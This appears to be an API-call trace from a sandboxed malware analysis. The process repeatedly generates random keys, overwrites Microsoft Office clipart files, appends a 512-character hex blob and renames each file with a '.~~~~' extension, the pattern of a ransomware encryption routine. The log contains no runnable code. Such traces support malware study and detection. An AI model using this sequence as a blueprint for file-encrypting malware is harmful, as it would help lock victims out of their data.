	[0115.540] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.540] CloseHandle (hObject=0x11c) returned 1
	[0115.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0115.540] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf.~~~~")) returned 1
	[0115.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0115.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.541] GetLastError () returned 0x0
	[0115.542] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0115.542] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.543] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.543] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23553568825) returned 1
	[0115.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xae5f1150, dwHighDateTime=0x1d60e1e)) 
	[0115.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283ae20
	[0115.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ae20 | out: hHeap=0x300000) returned 1
	[0115.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0115.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0608
	[0115.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0115.546] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0115.546] GetLastError () returned 0x0
	[0115.547] GetLastError () returned 0x0
	[0115.547] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0115.547] GetLastError () returned 0x0
	[0115.547] GetLastError () returned 0x0
	[0115.549] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffda54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.549] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x25ac, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x25ac, lpOverlapped=0x0) returned 1
	[0115.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0115.550] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.550] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.550] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.550] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.550] CloseHandle (hObject=0x11c) returned 1
	[0115.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f67d8
	[0115.550] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf.~~~~")) returned 1
	[0115.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0115.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0115.551] GetLastError () returned 0x0
	[0115.552] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0115.553] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.553] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0115.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0115.553] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23554361125) returned 1
	[0115.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xae5f1150, dwHighDateTime=0x1d60e1e)) 
	[0115.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0115.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0115.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0115.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283ae58
	[0115.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ae58 | out: hHeap=0x300000) returned 1
	[0115.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f67d8
	[0115.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0998
	[0115.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f67d8 | out: hHeap=0x300000) returned 1
	[0115.554] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0115.555] GetLastError () returned 0x0
	[0115.555] GetLastError () returned 0x0
	[0115.555] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0115.555] GetLastError () returned 0x0
	[0115.555] GetLastError () returned 0x0
	[0116.118] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe0a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.119] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1f5c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x1f5c, lpOverlapped=0x0) returned 1
	[0116.121] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0116.121] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.121] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.121] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.121] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.122] CloseHandle (hObject=0x11c) returned 1
	[0116.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0116.122] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf.~~~~")) returned 1
	[0116.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0116.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0116.124] GetLastError () returned 0x0
	[0116.124] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0116.126] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.126] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.126] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0116.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0116.126] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23611622244) returned 1
	[0116.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaeb72430, dwHighDateTime=0x1d60e1e)) 
	[0116.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0116.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0116.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0116.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283af70
	[0116.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283af70 | out: hHeap=0x300000) returned 1
	[0116.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0116.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0a30
	[0116.127] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0116.127] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0116.127] GetLastError () returned 0x0
	[0116.128] GetLastError () returned 0x0
	[0116.128] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0116.128] GetLastError () returned 0x0
	[0116.128] GetLastError () returned 0x0
	[0116.736] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffa4c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.737] WriteFile (in: hFile=0x11c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x5b38, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x5b38, lpOverlapped=0x0) returned 1
	[0116.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0116.738] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.738] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.739] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.739] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.739] CloseHandle (hObject=0x11c) returned 1
	[0116.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0116.739] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf.~~~~")) returned 1
	[0116.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.740] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0116.740] GetLastError () returned 0x0
	[0116.762] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0116.763] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.763] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0116.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0116.764] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23675372114) returned 1
	[0116.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaf165b30, dwHighDateTime=0x1d60e1e)) 
	[0116.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0116.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0116.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0116.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e87d8
	[0116.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e87d8 | out: hHeap=0x300000) returned 1
	[0116.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0116.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b16a8
	[0116.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.764] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0116.764] GetLastError () returned 0x0
	[0116.765] GetLastError () returned 0x0
	[0116.765] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0116.765] GetLastError () returned 0x0
	[0116.765] GetLastError () returned 0x0
	[0116.806] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffcf7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.807] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x3086, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x3086, lpOverlapped=0x0) returned 1
	[0116.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0116.808] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.809] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.809] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.809] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.809] CloseHandle (hObject=0x11c) returned 1
	[0116.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0116.809] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf.~~~~")) returned 1
	[0116.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0116.811] GetLastError () returned 0x0
	[0116.821] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0116.822] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.823] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0116.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0116.823] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23681294383) returned 1
	[0116.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaf1fe0b0, dwHighDateTime=0x1d60e1e)) 
	[0116.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0116.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0116.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0116.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e88f0
	[0116.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e88f0 | out: hHeap=0x300000) returned 1
	[0116.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0116.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1610
	[0116.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.824] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0116.824] GetLastError () returned 0x0
	[0116.824] GetLastError () returned 0x0
	[0116.824] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0116.824] GetLastError () returned 0x0
	[0116.824] GetLastError () returned 0x0
	[0116.829] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe022, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.829] WriteFile (in: hFile=0x148, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1fde, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1fde, lpOverlapped=0x0) returned 1
	[0116.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0116.831] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.831] WriteFile (in: hFile=0x148, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
